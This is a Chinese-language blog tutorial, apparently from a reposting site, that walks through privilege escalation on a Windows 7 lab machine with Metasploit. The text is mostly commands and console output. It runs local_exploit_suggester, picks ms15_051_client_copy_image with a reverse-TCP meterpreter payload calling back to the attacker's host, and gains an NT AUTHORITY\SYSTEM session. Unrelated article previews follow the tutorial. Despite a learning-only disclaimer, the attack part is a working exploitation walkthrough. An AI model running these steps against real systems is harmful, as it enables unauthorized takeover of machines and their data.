【网络安全】 MSF提权

本文章仅用于信息安全学习,请遵守相关法律法规,严禁用于非法途径。若读者因此作出任何危害网络安全的行为,后果自负,与作者无关。

环境准备:

名称系统位数IP
攻击机Kali Linux6410.3.0.231
客户端Windows 76410.3.0.234

当我们通过MSF成功登录靶机时,进行提权时如果报如下,表示没有拿到系统权限

meterpreter > getsystem

# 输出
[-] priv_elevate_getsystem: Operation failed: 1726 The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
[-] Named Pipe Impersonation (PrintSpooler variant)
[-] Named Pipe Impersonation (EFSRPC variant - AKA EfsPotato)

接下我们演示如何进入提权:

1、切换 msf

meterpreter > bg

# 输出
[*] Backgrounding session 2...

2、使用本地漏洞模块

# 用这个模块快速识别系统中可能被利用的漏洞
msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester

# 输出
msf6 post(multi/recon/local_exploit_suggester) > 

3、设置 Session

# session 值通过 sessions -l 查看
msf6 post(multi/recon/local_exploit_suggester) > set session 2

# 输出
session => 2

4、运行

msf6 post(multi/recon/local_exploit_suggester) > run

# 输出

[*] 10.3.0.234 - Collecting local exploits for x64/windows...
[*] 10.3.0.234 - 186 exploit checks are being tried...
[+] 10.3.0.234 - exploit/windows/local/bypassuac_dotnet_profiler: The target appears to be vulnerable.
[+] 10.3.0.234 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.3.0.234 - exploit/windows/local/bypassuac_sdclt: The target appears to be vulnerable.
[+] 10.3.0.234 - exploit/windows/local/cve_2019_1458_wizardopium: The target appears to be vulnerable.
[+] 10.3.0.234 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
[+] 10.3.0.234 - exploit/windows/local/cve_2020_1054_drawiconex_lpe: The target appears to be vulnerable.
[+] 10.3.0.234 - exploit/windows/local/cve_2021_40449: The service is running, but could not be validated. Windows 7/Windows Server 2008 R2 build detected!
[+] 10.3.0.234 - exploit/windows/local/ms10_092_schelevator: The service is running, but could not be validated.
[+] 10.3.0.234 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.3.0.234 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.3.0.234 - exploit/windows/local/ms15_078_atmfd_bof: The service is running, but could not be validated.
[+] 10.3.0.234 - exploit/windows/local/ms16_014_wmi_recv_notif: The target appears to be vulnerable.
[+] 10.3.0.234 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[*] Running check method for exploit 43 / 43
[*] 10.3.0.234 - Valid modules for session 2:
============================

 #   Name                                                           Potentially Vulnerable?  Check Result
 -   ----                                                           -----------------------  ------------
 1   exploit/windows/local/bypassuac_dotnet_profiler                Yes                      The target appears to be vulnerable.
 2   exploit/windows/local/bypassuac_eventvwr                       Yes                      The target appears to be vulnerable.
 3   exploit/windows/local/bypassuac_sdclt                          Yes                      The target appears to be vulnerable.
 4   exploit/windows/local/cve_2019_1458_wizardopium                Yes                      The target appears to be vulnerable.
 5   exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move   Yes                      The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
 6   exploit/windows/local/cve_2020_1054_drawiconex_lpe             Yes                      The target appears to be vulnerable.
 7   exploit/windows/local/cve_2021_40449                           Yes                      The service is running, but could not be validated. Windows 7/Windows Server 2008 R2 build detected!
 8   exploit/windows/local/ms10_092_schelevator                     Yes                      The service is running, but could not be validated.
 9   exploit/windows/local/ms14_058_track_popup_menu                Yes                      The target appears to be vulnerable.
 10  exploit/windows/local/ms15_051_client_copy_image               Yes                      The target appears to be vulnerable.
 11  exploit/windows/local/ms15_078_atmfd_bof                       Yes                      The service is running, but could not be validated.
 12  exploit/windows/local/ms16_014_wmi_recv_notif                  Yes                      The target appears to be vulnerable.
 13  exploit/windows/local/ms16_032_secondary_logon_handle_privesc  Yes                      The service is running, but could not be validated.
 14  exploit/windows/local/agnitum_outpost_acs                      No                       The target is not exploitable.
 15  exploit/windows/local/always_install_elevated                  No                       The target is not exploitable.
 16  exploit/windows/local/bits_ntlm_token_impersonation            No                       The target is not exploitable.
 17  exploit/windows/local/bypassuac_fodhelper                      No                       The target is not exploitable.
 18  exploit/windows/local/bypassuac_sluihijack                     No                       The target is not exploitable.
 19  exploit/windows/local/canon_driver_privesc                     No                       The target is not exploitable. No Canon TR150 driver directory found
 20  exploit/windows/local/capcom_sys_exec                          No                       The target is not exploitable.
 21  exploit/windows/local/cve_2020_0796_smbghost                   No                       The target is not exploitable.
 22  exploit/windows/local/cve_2020_1048_printerdemon               No                       The target is not exploitable.
 23  exploit/windows/local/cve_2020_1313_system_orchestrator        No                       The target is not exploitable.
 24  exploit/windows/local/cve_2020_1337_printerdemon               No                       The target is not exploitable.
 25  exploit/windows/local/cve_2020_17136                           No                       The target is not exploitable. The build number of the target machine does not appear to be a vulnerable version!
 26  exploit/windows/local/cve_2021_21551_dbutil_memmove            No                       The target is not exploitable.
 27  exploit/windows/local/cve_2022_21882_win32k                    No                       The target is not exploitable.
 28  exploit/windows/local/cve_2022_21999_spoolfool_privesc         No                       The target is not exploitable. Windows 7 is technically vulnerable, though it requires a reboot.
 29  exploit/windows/local/cve_2022_3699_lenovo_diagnostics_driver  No                       The target is not exploitable.
 30  exploit/windows/local/cve_2023_21768_afd_lpe                   No                       The target is not exploitable. The exploit only supports Windows 11 22H2
 31  exploit/windows/local/gog_galaxyclientservice_privesc          No                       The target is not exploitable. Galaxy Client Service not found
 32  exploit/windows/local/ikeext_service                           No                       The check raised an exception.
 33  exploit/windows/local/lexmark_driver_privesc                   No                       The target is not exploitable. No Lexmark print drivers in the driver store
 34  exploit/windows/local/ms16_075_reflection                      No                       The target is not exploitable.
 35  exploit/windows/local/ms16_075_reflection_juicy                No                       The target is not exploitable.
 36  exploit/windows/local/ntapphelpcachecontrol                    No                       The check raised an exception.
 37  exploit/windows/local/nvidia_nvsvc                             No                       The check raised an exception.
 38  exploit/windows/local/panda_psevents                           No                       The target is not exploitable.
 39  exploit/windows/local/ricoh_driver_privesc                     No                       The target is not exploitable. No Ricoh driver directory found
 40  exploit/windows/local/srclient_dll_hijacking                   No                       The target is not exploitable. Target is not Windows Server 2012.
 41  exploit/windows/local/tokenmagic                               No                       The target is not exploitable.
 42  exploit/windows/local/virtual_box_opengl_escape                No                       The target is not exploitable.
 43  exploit/windows/local/webexec                                  No                       The check raised an exception

5、我们找到一个漏洞,注意:这里不是每个漏洞都可以成功,要多试几个

msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms15_051_client_copy_image

# 输出
[*] Using configured payload windows/x64/meterpreter/reverse_tcp

6、查看这个模块的选项,这里有个注意点,因为我的靶机是 win7 64位系统,所以你通过msfvenom 生成的木马也要是64位,这里的 tartget 也要是64位的,如果不是,通过 set target 进行设置

msf6 exploit(windows/local/ms15_051_client_copy_image) > options

Module options (exploit/windows/local/ms15_051_client_copy_image):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  2                yes       The session to run this module on


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.3.0.231       yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


# 这里的 tartget 也要是64位的
Exploit target:

   Id  Name
   --  ----
   1   Windows x64

7、再次进行渗透,成功出现meterpreter ,代表成功

msf6 exploit(windows/local/ms15_051_client_copy_image) > run

# 输出
[*] Started reverse TCP handler on 10.3.0.231:4444 
[*] Reflectively injecting the exploit DLL and executing it...
[*] Launching netsh to host the DLL...
[+] Process 3804 launched.
[*] Reflectively injecting the DLL into 3804...
[*] Sending stage (200774 bytes) to 10.3.0.234
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 4 opened (10.3.0.231:4444 -> 10.3.0.234:52882) at 2024-03-15 11:47:15 +0800

meterpreter > 

8、 查看权限

meterpreter > getuid

# 成功提权
Server username: NT AUTHORITY\SYSTEM

9、再次查看 sessions

msf6 exploit(windows/local/ms15_051_client_copy_image) > sessions -l

# 我们发现也多了一个
Active sessions
===============

  Id  Name  Type                     Information                     Connection
  --  ----  ----                     -----------                     ----------
  2         meterpreter x64/windows  tomma-PC\tomma @ TOMMA-PC       10.3.0.231:9999 -> 10.3.0.234:52740 (10.3.0.234)
  4         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ TOMMA-PC  10.3.0.231:4444 -> 10.3.0.234:52882 (10.3.0.234)

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/468245.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

SAP前台处理:物料主数据创建<MM01>之基础视图

一、背景: 终于来到了物料主数据,我觉得物料账是SAP最重要的一项发明,也一直是SAP的一项重要优势,物料账记录了一个个物料的生生不息; 本章主要讲解物料主数据和财务相关的主要内容:这里特别提示由于作者…

科技云报道:第五次工业革命,中国AI企业如何打造新质生产力?

科技云报道原创。 人类历史的叙述与技术进步的影响深深交织在一起。 迄今为止,每一次工业革命都彻底改变了我们社会的轮廓,引入了机械化、大规模生产和数字化,并重新定义了人类生存的规范。 自2022年11月30日OpenAI发布ChatGPT以来&#x…

总结mac下解决matplotlib中文显示问题的几种方法

一、前言: 使⽤matplotlib画图时,由于matplotlib默认没有中⽂,显⽰中文时会出现空⽩⼩⽅块。 二、方法: 2.1 matplotlib中使用SimHei字体 1)进入终端后查看matplotlib的字体路径: $ python >>&g…

Ubuntu Desktop - lock screen (锁屏)

Ubuntu Desktop - lock screen [锁屏] 1. System Settings -> Security & Privacy (安全和隐私)2. System Settings -> Keyboard -> Shortcuts -> System3. LockReferences 1. System Settings -> Security & Privacy (安全和隐私) 使用 Putty 远程登录…

PSCA复位控制集成之复位信号

组件可能支持两种基本的复位类型。 • 冷复位:重置组件中的所有逻辑。用作上电复位。 • 热复位:重置组件中的大部分逻辑。通常,复位的范围是所有功能逻辑。不包括在热复位中的逻辑会随组件类型而变化,但通常会排除诸如调试和 R…

MySQL数据库 - 数据库和表的基本操作

MySQL数据库 - 数据库和表的基本操作(一) 第一关:查看表结构与修改表名 USE Company;########## Begin #################### modify the table name ########## ALTER TABLE tb_emp RENAME jd_emp;########## show tables in this database…

研究人员发现 OpenAI ChatGPT、Google Gemini 的漏洞

自 OpenAI 推出 ChatGPT 以来,生成式 AI 聊天机器人的数量及其在企业中的采用率在一年多时间里呈爆炸式增长,但网络安全专业人士的担忧也随之增加,他们不仅担心威胁组织对新兴技术的使用,还担心大型网络的安全性及模型&#xff08…

GitLab/Github从头开始配置秘钥

1、下载git安装包 CNPM Binaries Mirrorhttps://registry.npmmirror.com/binary.html?pathgit-for-windows/ 拉到页面最底部选择 点进文件夹下载32位或者64位的版本,我的是64位就选择64的版本进行安装 2、傻瓜式安装 3、在相应的文件夹右键选择 UserName为你的用…

Capto2024标准版专为Mac用户设计的屏幕录制编辑软件

Capto 2024是一款专为Mac用户设计的屏幕录制编辑软件。无论是想要制作教育视频、工作演示、游戏录制,还是进行简单的屏幕捕捉,Capto 2024都能满足您的需求。接下来,我将详细介绍其主要功能、特点以及使用场景,并为您评价这款软件。…

嵌入式学习40-数据结构

数据结构 1.定义 一组用来保存一种或者多种特定关系的 数据的集合(组织和存储数据) 程序的设计: …

数据库应用:Linux 部署 GaussDB

目录 一、实验 1.环境 2.Linux 部署 GaussDB 3.Linux 使用 GaussDB 4.使用 GaussDB 进行表与索引操作 5.使用 GaussDB 进行视图操作 6.使用 GaussDB 进行联表查询 7.使用 GaussDB 进行外键关联 二、问题 1.运行python脚本报错 2. 安装GaussDB 报错 3. install 安装…

#include<初见C语言之指针(3)>

目录 一、字符指针变量 二、数组指针变量 1.什么是数组指针变量? 2.数组指针怎么初始化? 三、二组数组传参的本质 四、函数指针变量 1.什么是函数指针变量? 2.函数指针变量使用 3.有趣代码 3.1typedef关键字 五、函数指针数组 六、…

深度学习03价值学习

Q*类似于先知,知道动作的后果 价值学习是得到一个近似的价值函数

【C语言_数组_复习篇】

目录 一、数组的概念 二、数组的类型 三、一维数组 3.1 一维数组的创建 3.2 一维数组的初始化 3.3 一维数组的访问 3.4 一维数组在内存中的存储 四、二维数组 4.1 二维数组的创建 4.2 二维数组的初始化 4.3 二维数组的访问 4.4 二维数组在内存中的存储 五、字符串数组 5.1…

SAP前台处理:物料主数据创建<MM01>之采购视图

一、背景: 终于来到了物料主数据,我觉得物料账是SAP最重要的一项发明,也一直是SAP的一项重要优势,物料账记录了一个个物料的生生不息; 本章主要讲解物料主数据和财务相关的主要内容:这里特别提示由于作者…

“先干后看”式循环

题目:计算 ,直到最后一项小于 。 注意题目要求:计算到最后一项小于 。也就是这一项是要参与到计算中的,计算完这一项才能触发循环停止条件。 这种先运算后判断的情况很对do-while循环的胃口。 do就是做嘛,while就是…

扇区架次数动态展示

打开前端Vue项目:kongguan_web,完成前端src/components/echart/SectorFlightChart.vue页面设计,使用ECharts插件实现柱状图和饼状图 在src/components目录下创建echart目录,完成src/components/echart/SectorFlightChart.vue 的页…

【SM3哈希算法】算法原理

【SM3哈希算法】算法原理 参考: 文章目录 【SM3哈希算法】算法原理一、算法简介二、基本原理三、具体流程1、填充2、分组3、迭代压缩 C语言实现 一、算法简介 SM3算法是一种密码散列函数标准,由国家密码管理局发布。它的安全性和SHA-256相当&#xff0…

【leetcode热题】 阶乘后的零

给定一个整数 n ,返回 n! 结果中尾随零的数量。 提示 n! n * (n - 1) * (n - 2) * ... * 3 * 2 * 1 示例 1: 输入:n 3 输出:0 解释:3! 6 ,不含尾随 0示例 2: 输入:n 5 输出&a…

二叉树遍历(牛客网)

描述 编一个程序,读入用户输入的一串先序遍历字符串,根据此字符串建立一个二叉树(以指针方式存储)。 例如如下的先序遍历字符串: ABC##DE#G##F### 其中“#”表示的是空格,空格字符代表空树。建立起此二叉树…